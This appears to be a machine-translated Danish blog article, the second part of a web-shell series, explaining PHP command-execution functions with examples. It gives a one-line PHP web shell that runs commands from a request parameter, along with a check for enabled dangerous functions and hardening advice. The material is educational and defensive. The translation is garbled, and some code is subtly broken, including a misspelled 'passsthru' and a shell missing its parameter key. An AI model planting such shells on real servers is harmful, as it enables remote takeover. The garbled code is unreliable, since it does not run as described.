Dubitinsider

for your information

i Del 1 af denne serie kiggede vi på, hvad en netskal er, og hvorfor en angriber ville søge at bruge en. I del 2 af denne serie vil vi se på nogle specifikke eksempler på netskaller udviklet ved hjælp af PHP programmeringssprog.der findes skaller til næsten alle programmeringssprog, du kan tænke på. Vi valgte at fokusere på PHP, fordi det er det mest anvendte programmeringssprog på nettet.PHP-skaller gør intet andet end at bruge indbyggede PHP-funktioner til at udføre kommandoer. Følgende er nogle af de mest almindelige funktioner, der bruges til at udføre shell-kommandoer i PHP.

Bemærk: i forbindelse med denne artikel redigerede vi vores værtsfil og pegede domænet www.example.com til en test server.

system ()

system() funktionen accepterer kommandoen som en parameter, og den udsender resultatet.

følgende eksempel på en Microsoft-maskine kører kommandoendir for at returnere en katalogliste over den mappe, hvor PHP-filen udføres.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

udførelse af kommandoenls opnår et lignende resultat.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

andre kommandoer har samme effekt.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

eksekvering ()

exec() funktionen accepterer en kommando som parameter, men udsender ikke resultatet. Hvis en anden valgfri parameter er angivet, returneres resultatet som et array. Ellers vises kun den sidste linje i resultatet, hvis det gentages.

<?php// Executes but returns nothingexec("ls -la");?>-->

brug afecho medexec() funktionen udskriver kun den sidste linje i kommandoudgangen.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

Hvis en anden parameter er angivet, returneres resultatet i et array.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_eksec ()

shell_exec() funktionen lignerexec() det udsender dog hele resultatet som en streng.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru ()

funktionenpassthru() udfører en kommando og returnerer output i råformat.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open ()

proc_open() funktionen kan være svært at forstå (Du kan finde en detaljeret beskrivelse af funktionen i PHP docs). Ved at bruge proc_open() kan vi oprette en handler (proces), der vil blive brugt til kommunikation mellem vores script og det program, vi vil køre.

Backticks

overraskende nok er ikke mange PHP-udviklere opmærksomme på dette, men PHP vil udføre indholdet af backticks (`) som en shell-kommando.

Bemærk: backtick-tegnet`’) bør ikke forveksles med det enkelte citattegn (‘)
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

baseret på ovenstående er følgende en PHP-skal i sin enkleste form.

<?php system($_GET);?>

det bruger funktionen system() til at udføre kommandoer, der sendes gennem ‘cmd’ HTTP-anmodning GET parameter.

netskaller billede 2

Vi har fastslået, at disse funktioner (og et par andre) kan være meget farlige. Hvad der er endnu mere farligt er, at alle disse indbyggede PHP-kommandoer er aktiveret som standard, når PHP er installeret, og de fleste systemadministratorer deaktiverer dem ikke.

Hvis du er usikker på, om de er aktiveret på dit system, vil følgende returnere en liste over de farlige funktioner, der er aktiveret.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

i en standardinstallation kan vi se, at alle ovennævnte funktioner er aktiveret.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Del 1

En introduktion til Netskaller

Del 2

brug af PHP

Del 3

opbevaring af Netskaller under dækning

del 4

netskaller i aktion

del 5

detektion&forebyggelse

ofte stillede spørgsmål

et lille program, som en hacker kører på din internetserver. De kan derefter bruge denne applikation til fjernadgang til din server og køre kommandoer på den. En shell i sig selv er aldrig et angreb, det er eftervirkningerne af et vellykket angreb på din hjemmeside. Dette betyder, at hvis du har en netskal, har du et meget mere alvorligt problem at bekymre dig om.

se, hvordan en netskal fungerer i praksis.

ondsindede hackere bruger netskaller til at tage kontrol over en allerede kompromitteret server. For det første udnytter de en sårbarhed i din hjemmeside eller internetapplikation som f.eks. Derefter uploader de en shell til din server. Fra nu af kan de køre alle kommandoer, de kan lide på din server.

se et trin-for-trin eksempel på et angreb, der fører til fuld server kompromis.

Du kan registrere netskaller ved loganalyse. Du bør dog ikke fokusere på at opdage netskaller, men i stedet skal du opdage sårbarheder, der kan lade angribere tage kontrol over din server. Selv hvis du opdager en netskal, forhindrer det ikke angribere i at overtage kontrollen igen, hvis sårbarhederne stadig er der. For at opdage sårbarheder på nettet og lære at fjerne dem, skal du bruge Acunetics.

se hvad Acunetics Premium kan gøre for dig.

den bedste måde at beskytte dig mod netskaller er at gøre det umuligt at bruge dem på dit system. Du kan gøre det ved at hærde din server – fjerne alle overskydende tilladelser, blokere potentielt farlige funktioner, begrænse scriptudførelse i uploadmapper osv. Det er dog bedst at beskytte serveren mod at blive kompromitteret i første omgang ved at bruge Acunetics regelmæssigt.

Læs mere om detektion og beskyttelse af netskaller.

få det nyeste indhold på internetsikkerhed
i din indbakke hver uge.

Del dette indlæg

forfatteren

div Akis har arbejdet inden for it-området i mere end 13 år og har udviklet sine kompetencer fra et defensivt perspektiv som systemadministrator og netudvikler, men også fra et offensivt perspektiv som penetrationstester. Han har forskellige professionelle certificeringer relateret til etisk hacking, digital retsmedicin og hændelsesrespons.

Skriv et svar

Din e-mailadresse vil ikke blive publiceret.